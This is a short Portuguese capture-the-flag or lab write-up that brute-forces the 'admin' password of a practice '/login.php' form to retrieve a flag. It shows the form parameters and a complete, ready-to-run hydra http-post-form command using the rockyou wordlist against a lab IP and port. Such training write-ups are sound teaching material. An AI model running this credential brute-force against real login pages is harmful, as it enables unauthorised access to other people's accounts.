# Question-1

Usando o que você aprendeu nesta seção, tente atacar a página '/login.php' para identificar a senha do usuário 'admin'. Depois de fazer login, você deverá encontrar uma bandeira. Envie a bandeira como resposta.



* Formulário de login&#x20;

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FFDy5raPwaxx3zg7XPSAO%2Fimage.png?alt=media&#x26;token=1ab95fc6-05d3-4efc-b457-a24f426aa5d6" alt=""><figcaption></figcaption></figure>

* Encontrar os paramêtros do formulário de login&#x20;

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FCMMKXtj7BOaSpNe76l7H%2Fimage.png?alt=media&#x26;token=4d78b383-40f3-4d50-81cd-eca95f6b8e59" alt=""><figcaption></figcaption></figure>

* Em seguida vamos procurar por parametros que compõem o login&#x20;

```
username=admin&password=admin
```

* Para usar em um `hydra http-post-form`, podemos tomá-lo como está e substituir o nome de usuário/senha que usamos `admin:admin`por `^USER^`e `^PASS^`. A especificação do nosso caminho de destino final deve ser a seguinte:

```
"/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
```

* Pyload :&#x20;

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 94.237.59.199 -s 56528 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FgjLp82LfXTflN1S37EOS%2Fimage.png?alt=media&#x26;token=1ffda3d2-e066-401f-8a96-58e99b2a784a" alt=""><figcaption></figcaption></figure>

* Fazer o login com as credenciais encontradas e achar a flag

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FRGtisnn2qjltjPPGKpoV%2Fimage.png?alt=media&#x26;token=2dbc714d-0465-4f68-b387-aef15b66ad5c" alt=""><figcaption></figcaption></figure>
